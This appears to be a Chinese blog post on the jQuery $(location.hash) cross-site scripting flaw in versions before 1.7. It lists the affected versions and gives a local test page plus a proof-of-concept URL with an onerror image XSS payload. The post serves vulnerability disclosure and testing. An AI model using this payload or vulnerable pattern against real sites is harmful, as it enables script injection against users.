溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

jQuery跨站腳本漏洞XSS with $(location.hash)漏洞

發(fā)布時間:2020-07-27 19:52:38 來源:網(wǎng)絡 閱讀:7017 作者:zhpfxl 欄目:web開發(fā)

jquery下載地址:https://code.jquery.com/jquery/


影響范圍:

    版本低于1.7的jQuery過濾用戶輸入數(shù)據(jù)所使用的正則表達式存在缺陷,可能導致LOCATION.HASH跨站漏洞

已測試成功版本:

    jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js

    jquery-1.5所有版本

    jquery-1.4所有版本

    jquery-1.3所有版本

    jquery-1.2所有版本

測試:

啟動nginx,并建立index.html頁面,內(nèi)容如下:

漏洞發(fā)現(xiàn)者給的測試代碼:

<html>

<head>

    <title>JQuery-xss-test</title>

    <script src="https://code.jquery.com/jquery-1.6.1.min.js"></script>

    <script>

    $(function(){

    try { $(location.hash) } catch(e) {}

    })

    </script>

</head>

<body>

    Jquery xss test.

</body>

</html>

訪問地址:

http://localhost/#<img src=/ onerror=alert(/F4ckTeam/)>

測試截圖:

jQuery跨站腳本漏洞XSS with $(location.hash)漏洞



向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI